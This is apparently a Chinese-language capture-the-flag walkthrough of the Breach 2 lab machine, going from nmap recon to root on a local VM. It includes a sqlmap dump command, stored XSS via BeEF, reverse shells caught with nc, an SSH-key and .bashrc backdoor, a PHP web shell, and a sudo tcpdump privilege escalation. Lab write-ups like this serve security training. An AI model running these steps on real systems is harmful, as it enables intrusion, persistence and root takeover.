PORT STATE SERVICE
111/tcp open rpcbind
34140/tcp open unknown
65535/tcp open unknown
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 34140/tcp status
| 100024 1 34204/udp6 status
| 100024 1 34759/tcp6 status
|_ 100024 1 48883/udp status
34140/tcp open status 1 (RPC #100024)
65535/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u2 (protocol 2.0)
| ssh-hostkey:
| 1024 f3539a0b4076b102873ea57aae859d26 (DSA)
| 2048 9aa8db784b444ffbe5836b67e3acfbf5 (RSA)
| 256 c163f1dc8f24818235fa881ab8734024 (ECDSA)
|_ 256 3b4d56375ec3457515cd85004f8ba85e (ED25519)
MAC Address: 00:0C:29:1F:C6:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
111和34140并没有实质性的内容,65535竟然是个ssh。没有任何其他信息,那么可以尝试ssh登录。
# ssh [email protected] -p65535
#############################################################################
# Welcome to Initech Cyber Consulting, LLC #
# All connections are monitored and recorded #
# Unauthorized access is encouraged #
# Peter, if that's you - the password is in the source. #
# Also, stop checking your blog all day and enjoy your vacation! #
#############################################################################
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
因为没有其他任何可以尝试的地方,只能分析这个提示。可以得到一个peter
用户,得到可能存在的密码:in the source.
,in the source
,inthesource
。看样子存在Web。提示说不要在看博客了。
使用peter登陆尝试:
# ssh [email protected] -p65535
#############################################################################
# Welcome to Initech Cyber Consulting, LLC #
# All connections are monitored and recorded #
# Unauthorized access is encouraged #
# Peter, if that's you - the password is in the source. #
# Also, stop checking your blog all day and enjoy your vacation! #
#############################################################################
[email protected]'s password:
Connection to 192.168.110.151 closed.
在使用密码inthesource
登录时,直接断开。开来密码就是这个。中间停顿时间很长,而且前面提示说博客。此时再去nmap扫端口,看是否开启了新端口。这是一种CTF的思路,需要注重一下。
nmap再次扫描:
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
34140/tcp open unknown
65535/tcp open unknown
果然开启了80端口。
80端口详细信息扫描:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Initech Cyber Consulting, LLC
|_http-server-header: Apache/2.4.10 (Debian)
MAC Address: 00:0C:29:1F:C6:FE (VMware)
简单脚本扫描:
PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
|_ /blog/: Blog
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.1.1
MAC Address: 00:0C:29:1F:C6:FE (VMware)
首先尝试nmap扫描出来的Apache httpd 2.4.10。searchsploit漏洞利用并没有发现可以利用的点。
源代码也没什么可用信息。
# gobuster dir -u 'http://192.168.110.151/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/images (Status: 301) [Size: 319] [--> http://192.168.110.151/images/]
/blog (Status: 301) [Size: 317] [--> http://192.168.110.151/blog/]
/server-status (Status: 403) [Size: 303]
/images不让访问,/blog/是一个博客页:
搜索功能
存在SQL注入。最终只得到了一个用户的账号密码:
# sqlmap -u 'http://192.168.110.151/blog/index.php?search=aaaaa' -D oscommerce -T osc_administrators --dump --batch --level=3
+----+-----------+-------------------------------------+
| id | user_name | user_password |
+----+-----------+-------------------------------------+
| 1 | admin | 685cef95aa31989f2edae5e055ffd2c9:32 |
+----+-----------+-------------------------------------+
解码为32admin,但是因为是加盐,所以应该是admin
。
搜索功能也存在反射性的xss,可以弹窗,但是没什么用。
登录功能
到目前为止,得到了两个用户密码。都进行尝试,但是都无法登录成功。
留言功能
无论怎么样都无法提交。
注册功能
二次注入可以注册admin';#,但是登录之后没有改密码的地方。无法利用。
但是,发现注册成功的账号名都显示在members页面。那么想到尝试进行存储型的xss。
配合着beef-xss平台进行。
插入成功。
可以看到我们自己上线了,那么意味着可行。看看目标机器会不会上线。在这里也想到了主页面的那张BEEF的图。应该就是暗示使用beef-xss平台。
靶机成功上线。 但是beef-xss带的功能并没有发现可以getshell的。
这里可以看到有Cookie和靶机的浏览器版本。
cookie尝试之后,发现并没有效果。那就去搜索Firefox 15.0的漏洞利用:
有代码执行的可利用漏洞。
设置好,run起来之后,会给我们一个漏洞利用的服务器url:
此利用是需要让目标机器访问我们的攻击服务器,然后msf接到反弹shell。
在beef上可以让目标访问了xss的地方之后进行一个重定向,就可以实现让目标机访问我们的msf生成URL。
MSF得到shell之后,会很快断掉,不稳定,那么在断掉前执行一个反弹shell到我们的攻击机才能稳定。(此处废了我很多时间,靶机不稳定,还有的时候老出莫名其妙的问题。)
# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.110.128] from (UNKNOWN) [192.168.110.151] 35007
bash: cannot set terminal process group (1548): Inappropriate ioctl for device
bash: no job control in this shell
peter@breach2:~$ whoami
whoami
peter
peter@breach2:~$
这里不是必要的,但是我害怕中间因为什么差错突然断掉了,避免还要再去通过xss去getshell。就留了一个ssh的后门。
去到peter的家目录,发现有.ssh目录。就去生成了一个peter的公钥和私钥。
# ssh-keygen -t rsa -C peter
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
./id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa
Your public key has been saved in ./id_rsa.pub
The key fingerprint is:
SHA256:3kJ0Z/FEpYMtr8uyfsRheT1dAXU62iI88BfbzJ3/k peter
The key's randomart image is:
+---[RSA 3072]----+
| o ..=*|
| + = B|
| .o+= . o+|
| ..+..* o+.|
| S. +o* +|
| o..+.+o.o |
| o+.oooo.o|
| .o +o+.|
| ooo E|
+----[SHA256]-----+
将公钥写入.ssh/authorized_keys里:
peter@breach2:~/.ssh$ touch ./authorized_keys
touch ./authorized_keys
peter@breach2:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCuQo5kzGDi351aKDss2eLuKCVxACBL2WqXAWfEJxTfsJJDYSavuHqvVc8Iq7rpStF6HEoWYKQU3dVzpsEHclS7M0ydKhj5Mv9nc4/mi5FtJkJaR29ut7sBhUmV7dGbroslS1H6O/I86xYOaVrKhF3Ba9yrF0mmkrNqewMT4eznCIkLaSnTEFU3YNnUIHj7zZ7VfaQP5Y0CMpgYKY9tyOtgQ7P2MLWhBMP11J0I9stjngfUZeqf/I4LIVwiiJUaJri64zheBy9qa+9gKnWmPtREiWiJMCucB4dHXmddI9RxgjwtRBpEvq7ijK5a4oPKoTz/H0wSlE+sbtJfRJtpxs0upnn/Ha4a38KPNsIYwefRgxnW0CfRCyeGILGBfxPj4bVZSmhlVyS9rDk4D49uBPhlRSDMyj0AvFcYvQ9m/rtzLtg5xIMG7LUr+0b7b4kAd7TRP1Y6lho4DfLQzBpiG3HHNJ00J1EiF+USEd7rxD3upZe2TF+sLv205dkbxzJ9Pkc= peter' > ./au
./authorized_keys
然后再去登录的时候发现还是不可以用私钥登录。同样也是输入密码直接断开。那么意思是其实是可以登录成功的,但是服务器执行了什么脚本,导致不让ssh私钥登录。但是ssh后门的思路是没错的。
.bashrc文件是用户登录之后加载的一些配置文件,可以更好的让用户定义自己的交互等,但是这个文件并不是必需的。如果我们可以将反弹shell写入这个文件,那么用户每次登陆成功都会给我们的攻击机反弹一个shell。
我们既然知道账号密码,只是每次登陆成功都会被强制断开,那么就可以尝试使用这个办法进行快速登录。
所有常规提权遍历尝试完,但是都没有进展。根据前面特定操作会开端口进行端口查看:
看到有系2323和58280端口。
58280端口什么都没有。看2323:
给了个类似经纬度的东西,google查询得到关键字:
猜测可能是这些。用户可以尝试另外两个用户:milton和blumbergh。尝试之后,发现milton
可以用Houston
登录。但是还需要口令:
peter@breach2:~$ telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
milton
Password: Houston
Last login: Thu Dec 7 07:28:53 EST 2023 from localhost on pts/0
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?
这个口令不知道是什么,但是这肯定是脚本。因此,可以尝试直接搜关键字stapler
去找脚本,说不定能找到:
知道了口令为:mine
。
登陆成功后得到了milton的shell:
peter@breach2:/usr$ telnet 127.0.0.1 2323
telnet 127.0.0.1 2323
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
29 45'46" N 95 22'59" W
breach2 login: milton
milton
Password: Houston
Last login: Tue Dec 5 02:08:57 EST 2023 from localhost on pts/1
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64
29 45'46" N 95 22'59" W
3
2
1
Whose stapler is it?mine
mine
Woot!
milton@breach2:~$
继续跟着靶机思路走,直接看是否开启新的端口:
8888是新开启的端口。
milton@breach2:~$ telnet 127.0.0.1 8888
telnet 127.0.0.1 8888
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
a
a
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Thu, 07 Dec 2023 12:32:15 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
400 Bad Request
400 Bad Request
nginx/1.6.2
Connection closed by foreign host.
貌似是web。继续nmap扫描过一下。
PORT STATE SERVICE VERSION
8888/tcp open http nginx 1.6.2
| http-ls: Volume /
| SIZE TIME FILENAME
| - 15-Jun-2016 20:50 oscommerce/
| 867 15-Jun-2016 18:09 index.nginx-debian.html
|_
|_http-server-header: nginx/1.6.2
|_http-title: Index of /
MAC Address: 00:0C:29:1F:C6:FE (VMware)
因为已经拿到了shell,直接看/var/html里的文件结构得知有admin登录页。
尝试之前的所有账号密码,admin账号登陆成功。进入后台。1. tools-->Banner Manager可以上传文件:
但是上传了,却找不到文件。
2. tools-->File Manager有很多php文件,但是都不可以编辑。直接去目录找可写入的文件,find ./ -writable
,找到./includes/work
可写。
写shell,访问,blumbergh用户getshell:
# nc -lvnp 10001
listening on [any] 10001 ...
connect to [192.168.110.128] from (UNKNOWN) [192.168.110.151] 54619
Linux breach2 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux
08:13:35 up 4:24, 1 user, load average: 0.29, 0.20, 0.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
milton pts/0 localhost 07:28 4:22 0.03s 0.03s -bash
uid=1001(blumbergh) gid=1001(blumbergh) groups=1001(blumbergh),1004(fin)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
blumbergh
$
常规提权遍历,发现sudo可以执行tcpdump。可以尝试提权。
注意,当提权的时候,可以提权的那个命令可以以root权限执行某个文件时,都可以尝试执行/bin/bash -p
,因此:
blumbergh@reach2:/tmp$ echo 'cp /bin/bash /tmp/shell' > /tmp/test.sh
blumbergh@reach2:/tmp$ echo 'chmod +s /tmp/shell' >> /tmp/test.sh
blumbergh@reach2:/tmp$ chmod +x /tmp/test.sh
blumbergh@reach2:/tmp$ sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/test.sh -Z root
dropped privs to root
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
注意,执行完tcpdump的时候,它会监听对应网卡的流量,只有有流量时,才会执行。因此,执行完之后,需要随便来点流量,比如去访问一下2323端口。
root用户getshell:
blumbergh@reach2:/tmp$ ./shell -p
./shell -p
shell-4.3# whoami
whoami
root
shell-4.3#
xss利用的好也可以getshell。
当用户输入的东西能保存在网页上的时候,要想到利用存储型xss。
要熟悉beef-xss平台的使用,也要熟悉msf的使用。
一般xss上线都是通过浏览器,可以着重看受害者的浏览器版本,可能会有利用。
可以通过ssh的公钥和私钥进行留存后门,或者尝试.bashrc文件留存后门。
getshell之后,当有脚本触发时,可以通过关键字查找脚本进行分析。
find的-writalbe可以查找有写权限的文件。
sudo的tcpdump提权时,监听的网卡需要有流量才能执行。